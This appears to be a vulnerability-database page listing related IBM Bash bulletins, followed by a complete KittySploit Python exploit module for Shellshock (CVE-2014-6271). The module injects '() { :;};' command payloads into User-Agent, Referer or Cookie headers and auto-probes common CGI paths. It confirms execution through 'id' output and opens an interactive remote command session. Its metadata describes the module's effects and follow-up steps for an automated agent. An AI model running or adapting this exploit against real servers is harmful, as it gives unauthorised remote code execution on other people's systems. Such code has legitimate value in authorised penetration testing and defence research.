Lucene search
+L

Bash Shellshock HTTP CGI RCE (CVE-2014-6271)

🗓️ 04 Sep 2026 06:36:51Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Bash Shellshock RCE via injecting () { :;}; into HTTP headers against CGI paths.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Workload Deployer (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
15 Jun 201807:01
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect SmartCloud Provisioning for IBM Provided Software Virtual Appliance
17 Jun 201822:30
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM SmartCloud Entry Appliance (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
19 Jul 202000:49
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in bash affect IBM Flex System Chassis Management Module (CMM)
31 Jan 201902:25
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain Brocade products that IBM resells for use with IBM BladeCenter (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
31 Jan 201901:35
–ibm
ibm
IBM Security Bulletins
Security Bulletins for IBM Tealeaf Customer Experience offerings
16 Jun 201819:35
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect certain IBM N Series products (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Jun 201800:08
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Smart Analytics System 5600 (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
16 Jun 201813:58
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM PureData System for Operational Analytics (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278)
18 Oct 201903:50
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Bash affect IBM Flex System Manager (FSM): (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187)
31 Jan 201901:30
–ibm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Bash Shellshock HTTP CGI RCE (CVE-2014-6271) — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Bash Shellshock HTTP CGI RCE (CVE-2014-6271)',
        'description': (
            'Exploits CVE-2014-6271 by injecting () { :;}; into HTTP headers against '
            'CGI-enabled paths. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-6271', 'CVE-2014-6278'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2014-6271',
        ],
        'tags': ['bash', 'shellshock', 'cgi', 'rce', 'unauth', 'kev', 'cve-2014-6271'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'Shellshock CGI header'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2014_6271_detect'],
            },
        },
    }

    cgi_path = OptString('', 'CGI path (auto-discover if empty)', False, advanced=True)
    header = OptChoice(
        'User-Agent',
        'HTTP header carrying Shellshock payload',
        False,
        choices=['User-Agent', 'Referer', 'Cookie'],
        advanced=True,
    )

    _PATHS = (
        '/cgi-bin/status',
        '/cgi-bin/test.cgi',
        '/cgi-bin/test-cgi',
        '/cgi-bin/printenv',
        '/cgi-bin/php',
        '/cgi-sys/defaultwebpage.cgi',
        '/cgi-sys/entropysearch.cgi',
        '/',
    )

    def _payload(self, cmd: str) -> str:
        safe = str(cmd).replace(';', '')
        return (
            '() { :;}; echo Content-Type: text/plain; echo; echo; '
            'PATH=/usr/bin:/usr/local/bin:/bin; export PATH; '
            f'{safe};'
        )

    def _probe(self, path: str, header: str, cmd: str) -> str:
        r = self.http_request(
            method='GET',
            path=path,
            headers={header: self._payload(cmd)},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def _discover(self, cmd: str = 'id') -> tuple[str, str] | None:
        if self.cgi_path:
            path = str(self.cgi_path)
            if not path.startswith('/'):
                path = '/' + path
            body = self._probe(path, self.header, cmd)
            if re.search(r'uid=\d+', body):
                return path, self.header
            return None
        for path in self._PATHS:
            for field in ('User-Agent', 'Referer', 'Cookie'):
                body = self._probe(path, field, cmd)
                if re.search(r'uid=\d+.*gid=\d+', body):
                    self._hit_path = path
                    self._hit_header = field
                    return path, field
        return None

    def execute(self, cmd: str) -> str:
        path = getattr(self, '_hit_path', None) or self.cgi_path
        header = getattr(self, '_hit_header', None) or self.header
        if not path:
            hit = self._discover(cmd)
            if not hit:
                return ''
            path, header = hit
            self._hit_path = path
            self._hit_header = header
        if not str(path).startswith('/'):
            path = '/' + str(path)
        return self._probe(str(path), str(header), cmd)

    def check(self):
        hit = self._discover('id')
        if hit:
            self._hit_path, self._hit_header = hit
            return {
                'vulnerable': True,
                'reason': f'Shellshock confirmed on {hit[0]} via {hit[1]}',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No Shellshock response on common CGI paths',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Sep 2026 06:36Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
3